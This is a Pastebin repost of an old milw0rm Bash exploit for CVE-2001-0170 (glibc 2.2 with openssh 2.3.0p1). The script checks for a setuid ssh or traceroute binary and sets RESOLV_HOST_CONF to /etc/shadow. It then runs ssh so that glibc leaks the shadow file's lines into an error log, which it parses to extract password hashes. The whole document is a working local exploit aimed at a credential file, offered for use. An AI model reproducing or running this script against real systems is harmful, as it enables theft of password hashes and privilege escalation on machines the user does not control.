Advertisement
FlyFar

glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read - CVE-2001-0170

Feb 24th, 2024
529
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.03 KB | Cybersecurity | 0 0
  1. # Charles Stevenson <csteven@newhope.terraplex.com>
  2. # glibc-2.2 and openssh-2.3.0p1 (Debian 2.3 , Redhat 7.0)
  3. # This exploits is for glibc >= 2.1.9x.
  4. # (****krochos@linuxmail.org****)
  5. # Edit this if you have a problem with path
  6.  
  7. ssh=/usr/bin/ssh
  8. traceroute=/usr/sbin/traceroute
  9. FILE=/etc/shadow        # File to read
  10. ###############################################################################
  11.  
  12. echo "$ssh"
  13. echo "[*] Checking permisions..."
  14.  
  15. if [ ! -u $ssh ]; then
  16.         echo "$ssh is NOT setuid on this system or does not exist at all!"
  17.         if [ ! -u $traceroute ]; then
  18.           echo "$traceroute is NOT setuid on this system or does not exist at all!"
  19.           exit 0
  20.         fi
  21. fi
  22.  
  23. export RESOLV_HOST_CONF=$FILE
  24.  
  25. echo "[*] Glibc bug found by Charles Stevenson <csteven@NEWHOPE.TERRAPLEX.COM>"
  26. echo "[*] krochos@linuxmail.org"
  27. sleep 1
  28. echo "[*] export  RESOLV_HOST_CONF=/etc/shadow"
  29. ssh lt 2>/tmp/.resolv
  30. cat /tmp/.resolv |  cut -d"\`" -f5,2 | awk -F"\'" '{print $1} '
  31.  
  32. # milw0rm.com [2001-01-25]
  33.        
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement